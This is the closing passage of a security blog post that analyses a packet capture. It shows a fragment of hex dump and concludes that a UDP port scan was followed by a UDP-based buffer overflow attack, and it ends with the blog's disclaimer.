0x05c0: 3245 344c 4b46 3250 304c
4b46 3244 4c4c

0x05d0: 4b51 4242 344c 4b43 4251
3844

If we spend time de constructing the packet we will see that there is
a lot of data being sent in this single UDP packet, to a high port and from a
high source port. In fact, this is an example of a buffer overflow being
completed over UDP.

So as we have seen, just using a simple three stage approach we were able to understand what was going on with the scenario. There was an initial port scan for UDP services at 9am. This was then followed by a UDP based buffer overflow attack against 192.168.188 at 10:30am.

Followers

Blog Disclaimer

All data and information provided on this site is for informational purposes only. The opinions expressed by individual Bloggers and those providing comments are theirs alone, and do not reflect the opinions of 7 Elements Ltd. 7 Elements Ltd is not responsible for the accuracy of any of the information supplied by the Bloggers.